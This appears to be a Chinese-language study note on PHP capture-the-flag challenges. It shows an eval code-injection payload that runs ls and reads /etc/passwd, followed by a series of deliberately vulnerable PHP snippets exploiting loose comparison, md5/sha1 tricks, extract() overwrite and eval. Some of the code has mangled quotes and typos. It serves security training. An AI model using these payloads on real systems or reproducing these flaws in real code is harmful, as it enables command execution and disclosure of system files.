<?php

$str = “echo \”hello “. $GET_[‘name’].”!!!\”;”;      .是连接  双引号注意就近。  

Eval($str);          \”双引号转义 因为echo  内容需要是字符串

?>

 

注意单引号双引号区别

 

%22.system(%27ls%27);//   输入，替换了$GET_[‘name’]

 

%22 :   “

%27: ‘

 

<?php

$str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”;    

Eval($str);

?>

 

‘.cat /etc/passwd’

 

%22.system(‘cat  /etc/passwd’);//   失败

%22.system(%27cat  /etc/passwd%27);//     成功

<?php 
    if (isset($_GET[‘value‘])) { 
    if (strcmp($_GET[‘value‘], $flag) == 0) 
        die(‘Flag is: ‘.$flag); 
    else print ‘Flag is not here !‘; 
} 
?>

<?php 
    if(preg_match("/hackerDJ/i",$_GET[id])) {
 echo(" not allowed ! "); 
 exit();
 } 
 $_GET[id] = urldecode($_GET[id]);  //解码
 if($_GET[id] == "hackerDJ") { 
  die(‘Flag is: ‘.$flag);  
 }
?>

 

<?php 
$temp = $_GET[‘id‘]; 
is_numeric($temp) ? die("retry !") : NULL; 
if($temp>6607){ 
    die(‘Flag is: ‘.$flag);  
} else print ‘Flag is not here !‘;
?> Flag is not here !

<?php 
    $flags=‘test.txt‘;
    extract($_GET); 
    if(isset($id)) { 
        $content=trim(file_get_contents($flags)); 
    if($id==$content) { 
        die(‘Flag is: ‘.$flag);
    } else { 
    print ‘Flag is not here !‘; 
    } } 
    ?>

 

<?php
    $key = $_GET[‘key‘];
    if(intval($key) > 1||intval($key) < 0){
        die("key is not right");
    }
    elseif (intval($key) < 1) {
        if ($key ==1) {
            die(‘Flag is: ‘.$flag); 
        }else print ‘key is not right !!!‘;
    } ?> key is not right !!!

 

 


<?php 
    if(isset($_GET[‘password‘])){
if(preg_match("/^[a-zA-Z0-9]+$/", $_GET[‘password‘]) === FALSE){ 
    print(‘You password not right‘); 

} elseif(strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999){
    if(strpos($_GET[‘password‘], ‘*_*‘) !== FALSE){
     die(‘Flag is:‘.$flag); 
} else{ 
    print(‘*_* have not been found‘); 
    } 
} else{ 
    print(‘Invalid password‘); 
    } 
}
?>

<?php 
    if (isset($_GET[‘id‘])) { 
    $id = $_GET[‘id‘];
    eval("var_dump($id);");
} 
?>

<?php 
if (isset($_GET[‘p1‘]) && isset($_GET[‘p2‘])) { 
    if ($_GET[‘p1‘] != $_GET[‘p2‘] && md5($_GET[‘p1‘]) == md5($_GET[‘p2‘])) 
        die(‘Flag is: ‘.$flag); 
    else print ‘Flag is not here !‘; 
} 
?>

<?php 
if (isset($_GET[‘p1‘]) && isset($_GET[‘p2‘])) { 
    if ($_GET[‘p1‘] != $_GET[‘p2‘] && md5($_GET[‘p1‘]) === md5($_GET[‘p2‘])) 
        die(‘Flag is: ‘.$flag); 
    else print ‘Flag is not here !‘; 
} 
?>

<?php 
if (isset($_GET[‘name‘]) and isset($_GET[‘password‘])) { 
    if ($_GET[‘name‘] == $_GET[‘password‘]) 
        echo ‘ Your password can not be your name! ‘; 
    else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘])) 
        die(‘Flag: ‘.$flag); else echo ‘ Invalid password ‘; 
} 
else echo ‘Flag is not here !‘; 
?> Flag is not here !

<?php 
if (isset($_GET[‘id‘])) { 
    $one = ord(‘0‘); 
    $nine = ord(‘9‘);
    for($i = 0; $i < strlen($_GET[‘id‘]); $i++) {  
        $digit = ord($_GET[‘id‘]{$i}); 
        if(($digit < $one) || ($digit > $nine) ) { 
            print("必须输入数字才行");
            return FALSE; 
            } 
        } 
    if (strpos($_GET[‘id‘], ‘sss607‘) !== FALSE) 
        die(‘Flag: ‘.$flag); 
    else echo ‘flag is not here ~‘; 
}
?>

<?php 
@session_start(); 
print($_SESSION["password"]);
    if ($_GET[‘password‘] == $_SESSION[‘password‘])
        die (‘Flag: ‘.$flag);
    else
        print ‘password is not right !‘;
$_SESSION[‘password‘]=rand(10000000,99999999);
?>